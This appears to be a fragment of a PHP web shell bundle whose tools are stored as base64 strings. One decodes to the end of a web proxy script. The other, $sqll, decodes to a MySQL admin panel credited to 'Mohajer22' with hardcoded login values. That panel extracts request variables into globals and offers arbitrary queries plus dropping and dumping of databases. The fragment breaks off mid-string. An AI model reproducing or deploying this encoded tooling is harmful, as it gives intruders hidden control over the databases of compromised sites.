T0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=";
$sqll="PD8KJFBBU1NXT1JEID0gImthbGEiOwokVVNFUk5BTUUgPSAiMTIzIjsKCmlmICggZnVuY3Rpb25f
ZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxz
Jyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOwp9
CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJ
UCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRI
VFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVY
VFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0
KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigpIHsKCWdsb2Jh
bCAkUEhQX1NFTEY7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7Cglz
ZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICk7CglzZXRjb29raWUoICJteXNx
bF93ZWJfYWRtaW5faG9zdG5hbWUiICk7CgllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9
MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRy
Pjx0ZD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxj
ZW50ZXI+XG4iOwoJZWNobyAiPGgxPk15U1FMIEludGVyZmFjZSAoRGV2ZWxvcGVkIEJ5IE1vaGFq
ZXIyMik8L2gxPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hv
ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5c
biI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3BhY2luZz0xPlxuIjsKCWVjaG8g
Ijx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0bmFt
ZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNobyAiPHRyPjx0ZD5Vc2VybmFt
ZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7
CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBu
YW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3RhYmxlPjxwPlxuIjsKCWVjaG8g
IjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBl
PXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8
L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+
PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxuIjsKCWVjaG8gIjwvY2VudGVy
PjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKfQoKZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgewoJZ2xv
YmFsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkaG9zdG5hbWUgLCRQSFBfU0VMRjsKCWlmKCRob3N0
bmFtZSA9PScnKQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOwoJc2V0Y29va2llKCAibXlzcWxf
d2ViX2FkbWluX3VzZXJuYW1lIiwgJHVzZXJuYW1lICk7CglzZXRjb29raWUoICJteXNxbF93ZWJf
YWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1p
bl9ob3N0bmFtZSIsICRob3N0bmFtZSApOwoJZWNobyAiPE1FVEEgSFRUUC1FUVVJVj1SZWZyZXNo
IENPTlRFTlQ9JzA7IFVSTD0kUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+IjsKCn0KCmZ1
bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsKCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJ
aWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0gIlN1Y2Nlc3MiOwoJaWYoICRxdWVyeVN0ciAh
PSAiIiApIHsKCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7CgkJZWNobyAiPHRyPjx0
ZD5RdWVyeTwvdGQ+PHRkPiRxdWVyeVN0cjwvdGQ+PC90cj5cbiI7CgkJZWNobyAiPHRyPjx0ZD5S
ZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsKCQllY2hvICI8L3RhYmxlPjxwPlxu
IjsKCX0KfQoKZnVuY3Rpb24gbGlzdERhdGFiYXNlcygpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUs
ICRQSFBfU0VMRjsKCgllY2hvICI8aDE+RGF0YWJhc2VzIExpc3Q8L2gxPlxuIjsKCgllY2hvICI8
Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5h
bWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1kYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0
YWJhc2UnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCWVjaG8gIjx0
YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG4iOwoKCSRwREIgPSBteXNxbF9saXN0
X2RicyggJG15c3FsSGFuZGxlICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwREIgKTsKCWZv
ciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJJGRibmFtZSA9IG15c3FsX2RibmFtZSgg
JHBEQiwgJGkgKTsKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7
CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9
JGRibmFtZSc+VGFibGVzPC9hPjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NF
TEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJt
KCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsKCQllY2hv
ICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9u
Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1
bXA8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK
fQoKZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJu
YW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg
KTsKCWxpc3REYXRhYmFzZXMoKTsKfQoKZnVuY3Rpb24gZHJvcERhdGFiYXNlKCkgewoJZ2xvYmFs
ICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOwoKCW15c3FsX2Ryb3BfZGIoICRkYm5h
bWUsICRteXNxbEhhbmRsZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBsaXN0VGFi
bGVzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOwoKCgllY2hv
ICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5h
bWU8L3A+XG4iOwoJZWNob1F1ZXJ5UmVzdWx0KCk7CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBf
U0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNy
ZWF0ZVRhYmxlPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1
ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4i
OwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgVGFibGUnPlxuIjsKCWVj
aG8gIjwvZm9ybT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPXF1ZXJ5PlxuIjsKCWVjaG8g
IjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8g
IjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7CgllY2hvICI8aW5w
dXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5cbiI7CgllY2hvICI8L2Zvcm0+XG4iOwoJZWNo
byAiPGhyPlxuIjsKCgkkcFRhYmxlID0gbXlzcWxfbGlzdF90YWJsZXMoICRkYm5hbWUgKTsKCglp
ZiggJHBUYWJsZSA9PSAwICkgewoJCSRtc2cgID0gbXlzcWxfZXJyb3IoKTsKCQllY2hvICI8aDM+
RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7CgkJcmV0dXJuOwoJfQoJJG51bSA9IG15c3FsX251bV9y
b3dzKCAkcFRhYmxlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9
NT5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkdGFibGVuYW1lID0g
bXlzcWxfdGFibGVuYW1lKCAkcFRhYmxlLCAkaSApOwoKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8g
Ijx0ZD5cbiI7CgkJZWNobyAiJHRhYmxlbmFtZVxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hv
ICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZk
Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsKCQllY2hv
ICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9h
Y3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5E
YXRhPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxh
IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFt
ZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFi
bGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+
XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0k
ZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1
bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxu
IjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCgllY2hvICI8L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIGNy
ZWF0ZVRhYmxlKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwg
JFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJM
RSAkdGFibGVuYW1lICggbm8gSU5UICkiOwoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlz
cWxIYW5kbGUgKTsKCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVy
ck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJbGlzdFRhYmxlcygpOwp9CgpmdW5jdGlvbiBkcm9wVGFi
bGUoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NF
TEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiRFJPUCBUQUJMRSAkdGFibGVu
YW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9x
dWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigp
OwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gdmlld1NjaGVtYSgpIHsKCWdsb2JhbCAkbXlz
cWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJy
TXNnOwoKCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxv
Y2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsKCgllY2hvUXVlcnlSZXN1bHQo
KTsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOwoJZWNobyAiPGEg
aHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVu
YW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVz
dWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5h
bWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxl
IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAi
PHRoPkZpZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51
bGw8L3RoPlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90
aD5cbiI7CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0
aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsg
JGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hv
ICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNo
byAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsi
TnVsbCJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsK
CQllY2hvICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIu
JGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJd
OwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9
JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwv
YT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmll
bGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5h
bWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8n
KVwiPkRyb3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxl
PlxuIjsKCn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhh
bmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAk
Y21kID09ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAk
Y21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVz
dWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5h
bWUiICk7CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAw
OyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl
c3VsdCApOwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmll
bGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJ
CQkJJGZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxk
WyJOdWxsIl07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVh
azsKCQkJfQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlp
Ziggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8
ICR0eXBlID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJ
CQl9IGVsc2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAk
ZmllbGR0eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9
Cgl9CgoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+
XG4iOwoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFk
ZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVs
ZF9zdWJtaXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVj
aG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4i
OwoJfQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+
XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJs
ZW5hbWU+XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10
ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8
L2gzPgoKPGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkg
c2l6ZS48YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRp
Y2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxi
cj4KPC9mb250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3Ro
Pjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0
aD5iaW5hcnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg
dmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2Vk
IjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVy
Pk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBu
YW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu
cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9
PSAibWVkaXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4
IH4gODM4ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJ
TlQiICc7IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0y
MTQ3NDgzNjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5
cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tl
ZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1
ODA3KTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGln
